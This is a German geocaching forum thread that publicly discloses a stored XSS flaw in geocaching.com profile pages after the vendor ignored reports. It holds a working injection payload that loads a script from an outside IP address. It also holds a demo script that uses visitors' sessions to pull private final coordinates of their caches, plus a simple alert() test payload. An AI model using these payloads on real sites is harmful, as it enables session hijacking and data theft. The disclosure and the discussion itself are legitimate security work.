• Willkommen im Geoclub - dem größten deutschsprachigen Geocaching-Forum. Registriere dich kostenlos, um alle Inhalte zu sehen und neue Beiträge zu erstellen.

XSS Bug bei Groundspeak

HerrWiesel

Geonewbie
Leider hat sich Groundspeak auch nach 3 Kontaktversuchen nicht gerührt und diese doch gravierende Lücke geschlossen. Mir bleibt leider nichts anderes übrig als diese nun zu publizieren um sie so zum handeln zu bewegen: XSS-Demo
 

RSKBerlin

Geonewbie
Teammitglied
Ich finde Full Disclosure eine hervorragende Idee, wenn sich ein Website-Betreiber nicht rührt.

Allerdings sehe ich das Problem nicht (oder nur in Umrissen). Denn ich nutze ScriptSafe für Chrome (für Firefox fiele mir z.B. NoScript ein). Mal ganz ehrlich: Wer sich immer noch nur auf die eingebauten Anti-XSS-Filter verlässt, ist vielleicht ein wenig zu mutig.
 

-KTA-

Geocacher
Blöde Frage.

Sehe ich unter der Demo dort einen D4T4.5 von mir die Final KO ??
Oder ist das für jeden der einen Cache hat, sein eigenes ?

Das ist ja der Höhepunkt wenn so KO preisgegeben werden ! *sauerist*
 

adorfer

Geoguru
@-KTA- Nein, der Melder hat einen XSS-Bug gefunden.
Siehe http://de.wikipedia.org/wiki/Cross-Site-Scripting
Da bekommt jeder bei Groundspeak eingelogte eben irgendwelche Dinge aus dessen eigenem Profil angezeigt.
(Aber wenn Du mir Dein Login gibst, dann bekomme ich natürlich auch den Final aus Deinem Cache. Nur das könnte ich dann natürlich auch einfacher haben)

Das Problem ist, dass auf beschriebene Art es eben auch möglich ist, anderen Leuten ihre Dosen zu archivieren. Oder ohne deren Zutun NM an wildfremden Caches loggen zu lassen (sagt der Profilowner).
Oder (noch schöner) die Cachenotes an fremden Dosen (Lösungen?) per Post-Request auf noch andere Webserver zu senden. Oder eben die Final-Koordinaten der eigenen Listings so völlig unbemerkt an Dritte zu schicken.

Oder kürzer geschrieben: Ein böswilliger User kann infizierten "Listingcode" auf sein Profil oder in ein Cachelisting schreiben. Und er kann dann damit mit den "Rechten" jedes Besuchers das tun, was dieser User tun könnte innerhalb von Geocaching.com.
Zwar immer nur "eine Aktion", aber wie heisst es so schön "steter Tropfen": und vielleicht passt was....

Code:
<img width="1" height="1" src="http://www.geocaching.com/images/tlnMasters/geocaching-logo.png" onload="$.getScript('http://46.38.250.204/gc_xss_by_wiesel.php?u='+escape($('.SignedInProfileLink').html()))" />
 
OP
H

HerrWiesel

Geonewbie
Danke für die Ausführung adorfer. Offensichtlich sehen einige User das bloße Anzeigen der eigenen Koordinaten nicht als gravierend an und verkennen dabei die Möglichkeiten, welche die Demo natürlich nicht servieren soll. Schönes Beispiel, wenn das Profil die Besucherprofile infiziert und die dann weitere, sozusagen als Virus.
 

TrickyMD

Geowizard
Die Message IST bei Groundspeak angekommen, das darf mir geglaubt werden. Wie schnell was gegen den XSS-Bug getan wird? Keine Ahnung. Wenn jemand an mein Haus plakatiert, daß mein Schlüssel unter dem Fußabtreter liegt, dann reiße ich doch auch das Plakat ab, logisch. (Natürlich such ich mir auch ein neues Versteck für den Schlüssel) ;)
 

adorfer

Geoguru
Wobei der Code ja auch eher banal war...
Erstaunlich, dass da noch niemand vorher drauf gekommen ist... oder etwa doch?

Code:
var msg = "<br><br>Hello Groundspeak.<br>\
<br>\
I already contacted you 3 times and reported this XSS vulnerability.<br>\
Apart from a request on your side for explainig details on this bug nothing had happened yet ... absolutely nothing.<br>\
So I decided to write a poor demo which grabs the final coordinates of a mystery cache from my profiles visitor.<br>\
There are some other funny things the vulnerabiliy can be used to - all done with the privileges of the visitor,<br>\
such as placing favorite points, delete caches and so on.<br>\
Hopefully, you'll finally close this and clean all existing profiles containing the shown bug now!<br><br>\
";

var user = "";

$.get("http://www.geocaching.com/seek/nearest.aspx?tx=40861821-1835-4e11-b666-8d41064d03fe&sortdir=desc&sort=dif&u="+escape(user), function( data ) {
var res = data.match(/geocache\/GC(\w{1,5})_/gi);
	if (res != null && res.length>0) {
		var code = res[0].substr(9,7);
		$.get( "http://www.geocaching.com/geocache/"+code, function( data2 ) {
			var res2 = data2.match(/seek\/wpt.aspx(.*)<\/a> \(Final/gi);
			var cache = "<h1>"+$(data2).find("#ctl00_ContentBody_CacheName").text()+" FINAL:</h1><br>";
			if (res2 != null && res2.length>0) {
				$.get( "http://www.geocaching.com/"+res2[0].substr(0,res2[0].indexOf("\"")-1), function( data3 ) {
					var wpt = $(data3).find("#ctl00_divContentMain").html();
					display(cache+wpt);
				});
			} else {
				display("<h3>Sorry, no Final Waypoint found, PMO?</h3>");
			}
		});
	} else {
		display("<h3>Sorry, i found no mysteries published by "+user+"</h3>");
	}
});

display = function(out) {
	$("#ctl00_ContentBody_ProfilePanel1_lblProfileText").append(msg+out);
	$("#m1").hide();
	$("#m2").hide();
}
 
OP
H

HerrWiesel

Geonewbie
Wer traut sich denn mal ein
Code:
<img width="1" height="1" src="http://www.geocaching.com/images/tlnMasters/geocaching-logo.png" onload="alert('XSS noch da :p')" />
in sein Profil aufzunehmen :D
 
OP
H

HerrWiesel

Geonewbie
Im Listing wird onload gefiltert, Trackable hab ich nicht probiert. Bugfix sollte also relativ trivial sein.
 

adorfer

Geoguru
HerrWiesel schrieb:
Im Listing wird onload gefiltert, Trackable hab ich nicht probiert. Bugfix sollte also relativ trivial sein.
Ich bin mir jetzt gerade unschlüssig, für wie schlau ich es halte, das nur in Listings, nicht aber auf der Profilseite zu filtern. So spontan fällt mir kein Szenario ein, die Unterscheidung sinnvoll zu begründen.
 

moenk

Administrator
Teammitglied
Um es mal ganz deutlich zu sagen: Es geht nicht darum dass bei GS Fehler gemacht werden, das kommt vor und ist menschlich. Aber wie die damit umgehen (und mit Kunden allgemein) sollte uns schon zu denken geben.
 
Oben